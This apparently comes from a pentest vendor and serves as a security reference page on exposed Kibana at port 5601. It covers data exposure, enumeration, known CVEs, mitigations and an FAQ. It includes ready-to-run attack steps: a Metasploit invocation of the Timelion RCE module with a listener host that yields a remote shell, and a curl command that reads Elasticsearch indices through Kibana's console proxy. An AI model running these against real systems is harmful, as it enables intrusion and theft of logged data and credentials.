Port 5601 – Kibana (Elastic Stack Web UI and Analytics Dashboard)

Port 5601 is the default port for Kibana, the web front-end and analytics dashboard for Elasticsearch and the “K” in the ELK/Elastic Stack. Everything a browser user does with the cluster — building visualizations, browsing raw documents in Discover, and running arbitrary Elasticsearch queries from the Dev Tools console — happens over HTTP on 5601. Kibana is a Node.js application that proxies your requests to the Elasticsearch REST API on port 9200 using its own service account, so whatever the Kibana process can read in Elasticsearch, a user who reaches port 5601 can usually read too. The reason an exposed 5601 is such a prize is the same reason 9200 is: for most of Kibana’s history the free tier shipped with no authentication at all, so an internet-reachable port 5601 was a fully-featured, unauthenticated window into every index — logs, PII, and the credentials that so often end up in those logs.

Why It’s Open

Kibana exists to put a human-friendly face on Elasticsearch. Teams run it to explore logs and metrics, build SIEM and security dashboards, drive APM, and give non-engineers a point-and-click way to search data that otherwise only answers to curl on 9200. On any host running the Elastic Stack, 5601 is legitimately open so that browsers can reach the dashboard.

The trouble is historical defaults, mirroring Elasticsearch’s own. Free/open-source Kibana shipped with security disabled for years — authentication and TLS lived in the paid Shield/X-Pack add-on, and the community build simply trusted whoever could reach the port. Basic auth only became free in the 6.8/7.1 timeframe and on-by-default from 8.0. That leaves a large installed base of older, unauthenticated Kibana instances, plus fresh installs where an admin hit a TLS or enrollment error and “fixed” it by turning security off. Add cloud VMs and containers that bind 0.0.0.0:5601 instead of localhost, and you get thousands of open Kibana dashboards facing the internet — each one a direct read of the Elasticsearch cluster behind it.

Common Risks

• Unauthenticated dashboard = full data read. On any Kibana without auth, opening http://<target>:5601/ drops you straight into the UI. Discover lets you page through every document, and the Dev Tools console lets you fire arbitrary queries at Elasticsearch — no credentials, no logging you control.
• A launchpad to the Elasticsearch cluster. Kibana’s Dev Tools proxy every request to Elasticsearch on 9200 using Kibana’s own service account. Even when 9200 is firewalled off from the internet, an exposed 5601 hands an attacker an authenticated path to GET /_cat/indices, GET /_search, and the rest of the cluster API.
• Secrets in the logs. Application logs shipped into Elastic routinely contain session tokens, API keys, connection strings, and passwords. A readable Kibana turns “we log everything” into “anyone can read everything we logged.”
• Remote code execution on old versions. Kibana before 5.6.15 / 6.6.1 and before 6.4.3 / 5.6.13 carries pre-auth-adjacent RCE bugs (see CVEs below) that give an attacker a shell as the Kibana process on the host.
• Cross-site scripting. Stored/reflected XSS in older Kibana lets an attacker act as, or steal data from, other logged-in Kibana users — a real risk even when auth is enabled.
• Version and topology disclosure. GET /api/status returns the exact Kibana version and plugin state, telling an attacker precisely which of the RCE bugs below to reach for.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Confirm the service and version

nmap -sV -p 5601 <target>

Fingerprint the exact Kibana version

Kibana exposes an unauthenticated status endpoint that returns the version and plugin state — this tells you which CVEs apply:

curl -s http://<target>:5601/api/status | head -c 2000

A 503/401 that still leaks a version, or a clean JSON body with "version":{"number":"6.5.4"}, both pin down the build. Also try the root — an unauthenticated 200 that renders the app is the finding:

curl -sI http://<target>:5601/app/kibana

Read the data through Kibana

If the UI loads without a login, the fastest confirmation of impact is the Dev Tools console (Management → Dev Tools), which proxies queries to Elasticsearch:

GET /_cat/indices?v
GET /_search?size=5

The same requests can be driven straight through Kibana’s console proxy from the shell (Kibana forwards them to 9200 with its own service account):

curl -s -H 'kbn-xsrf: true' 'http://<target>:5601/api/console/proxy?path=_cat/indices&method=GET'

Test the RCE modules against vulnerable builds

For a confirmed old version, the Timelion RCE (CVE-2019-7609) is weaponised in Metasploit:

msfconsole -q
use exploit/linux/http/kibana_timelion_prototype_pollution_rce
set RHOSTS <target>
set RPORT 5601
set LHOST <your-ip>
run

The Console local-file-inclusion bug (CVE-2018-17246) is exploited by pointing Kibana’s Console at an attacker-controlled .js file already on disk, so pair it with any file-write primitive (e.g. a writable log path) to reach code execution.

Capture every open port 5601, the exact Kibana version, the index list you pull through Dev Tools, and any secrets surfaced in documents, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

• CVE-2019-7609 — The famous Kibana Timelion RCE. Kibana before 5.6.15 and 6.6.1 contains an arbitrary code execution flaw in the Timelion visualizer: an attacker with access to Timelion sends a request that abuses prototype pollution to execute JavaScript and run commands as the Kibana process on the host. CVSS 10.0, Critical. Weaponised in Metasploit as exploit/linux/http/kibana_timelion_prototype_pollution_rce, with a widely-used public PoC published by researcher Michał Bentkowski. If you can only test one thing against an old Kibana, test this.
• CVE-2018-17246 — Kibana Console local file inclusion → RCE. Kibana before 6.4.3 and 5.6.13 contains an arbitrary file inclusion flaw in the Console plugin; a request to the Console API can load and execute an arbitrary .js file on disk, running commands with the Kibana process’s permissions. CVSS 9.8, Critical.
• CVE-2019-7608 — A cross-site scripting (XSS) flaw in Kibana before 5.6.15 and 6.6.1 that lets an attacker obtain sensitive information from, or perform destructive actions on behalf of, other Kibana users. CVSS 6.1, Medium. Lower impact than the two RCEs, but relevant even when authentication is enabled.

All three are genuine Elastic-published Kibana advisories, scoped to the versions above and verified against their NVD records. Note that there is no “port 5601” CVE in the abstract — every one of these is a flaw in a specific Kibana build, so fingerprinting the exact version with GET /api/status is what turns “Kibana is exposed” into a concrete, exploitable finding.

Mitigation

• Enable authentication — it’s free now. On Kibana 6.8+/7.x, configure the Elastic Stack security features and require a login; on 8.0+ security is on by default, so never disable it to work around an enrollment or TLS error. An internet-reachable 5601 should never render the UI to an anonymous visitor.
• Never expose 5601 to the internet. Bind Kibana to localhost or a private interface (server.host) and reach it over a VPN or an authenticating reverse proxy. Audit cloud security groups and container port maps for an accidental 0.0.0.0:5601.
• Front it with TLS and a reverse proxy. Terminate TLS on 443 and require auth at the proxy for any browser-facing access, the same way you would protect any other web app on 8080.
• Patch off the vulnerable versions. Anything below 6.6.1 / 5.6.15 is exposed to the Timelion RCE and XSS; anything below 6.4.3 / 5.6.13 to the Console LFI. If you truly cannot upgrade an old build, disable Timelion (timelion.enabled: false) as a stopgap.
• Lock down the Kibana service account. Give Kibana’s Elasticsearch user the least privilege it needs, so an attacker who reaches Dev Tools inherits a restricted view rather than cluster-admin.
• Keep secrets out of logs. Redact tokens, keys, and passwords before they are shipped into Elasticsearch, so a readable Kibana leaks less.

Real-World Example

The cleanest illustration of why an exposed port 5601 matters is the same wave that hit Elasticsearch itself. Because thousands of ELK deployments ran Kibana with no authentication, security researchers repeatedly demonstrated that a plain browse to http://<ip>:5601/ — no exploit required — surfaced production logs full of session tokens, internal hostnames, and credentials, and that the Dev Tools console then reached straight through to the cluster on 9200. On top of that free-for-all sat CVE-2019-7609: with a CVSS of 10.0, a public PoC, and a Metasploit module, mass-scanning Shodan for open 5601, fingerprinting the version via /api/status, and firing the Timelion payload at anything below 6.6.1 turned “the dashboard is exposed” into “we have a shell on the host.” Exposed Kibana is the Elasticsearch no-auth story with a graphical front door — and, thanks to the RCE bugs, sometimes a shell attached to it.

FAQ

What is port 5601 used for?

Port 5601 is the default port for Kibana, the web UI and analytics dashboard for Elasticsearch and the Elastic (ELK) Stack. Browsers use it to build visualizations, browse documents in Discover, and run Elasticsearch queries from the Dev Tools console. Kibana proxies those requests to the Elasticsearch REST API on 9200.

Why is port 5601 open on my server?

Because a Kibana instance is running there — usually alongside an Elasticsearch/Logstash logging or analytics stack. That is expected on an Elastic Stack host. The problem is only when 5601 is reachable from untrusted networks, or when Kibana has no authentication in front of it.

Is exposing Kibana on port 5601 dangerous?

Yes, if it is unauthenticated or unpatched. An open Kibana without a login is a full, anonymous read of everything in the backing Elasticsearch cluster (logs, PII, secrets), and a pivot to the cluster API on 9200. Old versions add remote code execution (CVE-2019-7609, CVE-2018-17246) on top of the data exposure.

How do I tell which Kibana version is running?

Request the unauthenticated status endpoint: curl -s http://<host>:5601/api/status. It returns the exact version and plugin state, which tells you whether the instance is exposed to the Timelion RCE (< 5.6.15 / 6.6.1) or the Console LFI (< 5.6.13 / 6.4.3).

Can port 5601 lead to remote code execution?

Yes on vulnerable builds. Kibana before 5.6.15 / 6.6.1 is exploitable via the Timelion prototype-pollution RCE (CVE-2019-7609, CVSS 10.0), and before 5.6.13 / 6.4.3 via the Console local-file-inclusion flaw (CVE-2018-17246, CVSS 9.8). Both run commands as the Kibana process on the host. Patched, authenticated Kibana is not RCE-exploitable this way.

How do I secure port 5601?

Enable authentication (free and default in 8.0+, never disable it to dodge a setup error), keep 5601 off the public internet behind a VPN or authenticating reverse proxy, front browser access with TLS, patch off the vulnerable versions, give the Kibana service account least privilege on Elasticsearch, and keep secrets out of the logs you index.

TL;DR

• Service: Kibana — the web UI / analytics dashboard for Elasticsearch (the “K” in ELK/Elastic Stack)
• Default port: 5601/TCP
• Biggest risk: unauthenticated exposure — an open Kibana is a full read of the backing Elasticsearch cluster (logs, PII, secrets) and a pivot to 9200, plus critical RCE on old versions (CVE-2019-7609 Timelion, CVE-2018-17246 Console LFI)
• Mitigation: enable authentication (free and default in 8.0+), never disable it, keep 5601 off the internet behind a VPN/reverse proxy with TLS, patch off vulnerable versions, and least-privilege the Kibana service account